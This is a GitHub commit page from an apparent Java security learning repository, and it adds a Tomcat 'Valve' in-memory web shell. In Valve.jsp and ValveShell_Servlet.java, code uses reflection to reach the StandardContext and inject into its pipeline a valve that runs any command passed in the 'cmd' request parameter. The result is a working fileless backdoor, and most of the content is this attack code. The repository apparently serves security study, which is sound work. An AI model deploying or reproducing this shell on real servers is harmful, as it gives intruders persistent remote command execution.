FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

:new:新增 Valve 型内存马 · 3as0n/JavaSecurityLearning@bd7a2f8 · GitHub

  1. 3as0n
  2. JavaSecurityLearning

Repository navigation

Commit bd7a2f8

Browse files
Drun1baby
committed
🆕新增 Valve 型内存马
1 parent 7bfa2f7 commit bd7a2f8

13 files changed

Lines changed: 102 additions & 2 deletions

File tree

‎JavaSecurity/MemoryShell/TomcatShell/src/main/java/tomcatShell/Servlet/ValveShell_Servlet.java‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package tomcatShell.Servlet;
2+
3+
import org.apache.catalina.connector.Request;
4+
import org.apache.catalina.connector.Response;
5+
import org.apache.catalina.core.StandardContext;
6+
import org.apache.catalina.valves.ValveBase;
7+
8+
import javax.servlet.ServletException;
9+
import javax.servlet.http.HttpServlet;
10+
import javax.servlet.http.HttpServletRequest;
11+
import javax.servlet.http.HttpServletResponse;
12+
import java.io.IOException;
13+
import java.lang.reflect.Field;
14+
15+
public class ValveShell_Servlet extends HttpServlet {
16+
17+
@Override
18+
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
19+
try {
20+
Field FieldReq = req.getClass().getDeclaredField("request");
21+
FieldReq.setAccessible(true);
22+
Request request = (Request) FieldReq.get(req);
23+
StandardContext standardContext = (StandardContext) request.getContext();
24+
standardContext.getPipeline().addValve(new ValveBase() {
25+
@Override
26+
public void invoke(Request request, Response response) throws IOException, ServletException {
27+
28+
}
29+
});
30+
resp.getWriter().write("inject success");
31+
} catch (Exception e) {
32+
}
33+
}
34+
}
35+
36+
class ValveShell extends ValveBase{
37+
38+
@Override
39+
public void invoke(Request request, Response response) throws IOException, ServletException {
40+
System.out.println("111");
41+
try {
42+
Runtime.getRuntime().exec(request.getParameter("cmd"));
43+
} catch (Exception e) {
44+
45+
}
46+
}
47+
}

‎JavaSecurity/MemoryShell/TomcatShell/src/main/java/tomcatShell/valve/ValveTest.java‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package tomcatShell.valve;
2+
3+
import org.apache.catalina.connector.Request;
4+
import org.apache.catalina.connector.Response;
5+
import org.apache.catalina.valves.ValveBase;
6+
7+
import javax.servlet.ServletException;
8+
import java.io.IOException;
9+
10+
public class ValveTest extends ValveBase {
11+
@Override
12+
public void invoke(Request request, Response response) throws IOException, ServletException {
13+
System.out.println("Valve 被成功调用");
14+
}
15+
}

‎JavaSecurity/MemoryShell/TomcatShell/src/main/webapp/Valve.jsp‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
3+
<%@ page import="org.apache.catalina.core.StandardContext" %>
4+
<%@ page import="javax.servlet.*" %>
5+
<%@ page import="javax.servlet.annotation.WebServlet" %>
6+
<%@ page import="javax.servlet.http.HttpServlet" %>
7+
<%@ page import="javax.servlet.http.HttpServletRequest" %>
8+
<%@ page import="javax.servlet.http.HttpServletResponse" %>
9+
<%@ page import="java.io.IOException" %>
10+
<%@ page import="java.lang.reflect.Field" %>
11+
<%@ page import="org.apache.catalina.Wrapper" %>
12+
<%@ page import="org.apache.catalina.connector.Request" %>
13+
<%@ page import="org.apache.catalina.valves.ValveBase" %>
14+
<%@ page import="org.apache.catalina.connector.Response" %>
15+
16+
<%
17+
class EvilValve extends ValveBase {
18+
19+
@Override
20+
public void invoke(Request request, Response response) throws IOException, ServletException {
21+
System.out.println("111");
22+
try {
23+
Runtime.getRuntime().exec(request.getParameter("cmd"));
24+
} catch (Exception e) {
25+
26+
} } }%>
27+
28+
<%
29+
// 更简单的方法 获取StandardContext
30+
Field reqF = request.getClass().getDeclaredField("request");
31+
reqF.setAccessible(true);
32+
Request req = (Request) reqF.get(request);
33+
StandardContext standardContext = (StandardContext) req.getContext();
34+
35+
standardContext.getPipeline().addValve(new EvilValve());
36+
37+
out.println("inject success");
38+
%>

‎JavaSecurity/MemoryShell/TomcatShell/src/main/webapp/WEB-INF/web.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
<servlet>
1313
<servlet-name>ServletTest</servlet-name>
14-
<servlet-class>tomcatShell.Servlet.ServletShell</servlet-class>
14+
<servlet-class>tomcatShell.Servlet.ValveShell_Servlet</servlet-class>
1515
</servlet>
1616

1717
<servlet-mapping>

‎JavaSecurity/MemoryShell/TomcatShell/target/TomcatShell-1.0-SNAPSHOT/WEB-INF/classes/tomcatShell/Servlet/ValveShell.class‎

1.15 KB
Binary file not shown.

‎JavaSecurity/MemoryShell/TomcatShell/target/TomcatShell-1.0-SNAPSHOT/WEB-INF/classes/tomcatShell/Servlet/ValveShell_Servlet$1.class‎

1.01 KB
Binary file not shown.

‎JavaSecurity/MemoryShell/TomcatShell/target/TomcatShell-1.0-SNAPSHOT/WEB-INF/classes/tomcatShell/Servlet/ValveShell_Servlet.class‎

1.88 KB
Binary file not shown.

‎JavaSecurity/MemoryShell/TomcatShell/target/TomcatShell-1.0-SNAPSHOT/WEB-INF/classes/tomcatShell/valve/ValveTest.class‎

841 Bytes
Binary file not shown.

‎JavaSecurity/MemoryShell/TomcatShell/target/TomcatShell-1.0-SNAPSHOT/WEB-INF/web.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
<servlet>
1313
<servlet-name>ServletTest</servlet-name>
14-
<servlet-class>tomcatShell.Servlet.ServletShell</servlet-class>
14+
<servlet-class>tomcatShell.Servlet.ValveShell_Servlet</servlet-class>
1515
</servlet>
1616

1717
<servlet-mapping>

‎JavaSecurity/MemoryShell/TomcatShell/target/classes/tomcatShell/Servlet/ValveShell.class‎

1.15 KB
Binary file not shown.

0 commit comments

Comments
 (0)
Back | FazBrowse Home | New Git URL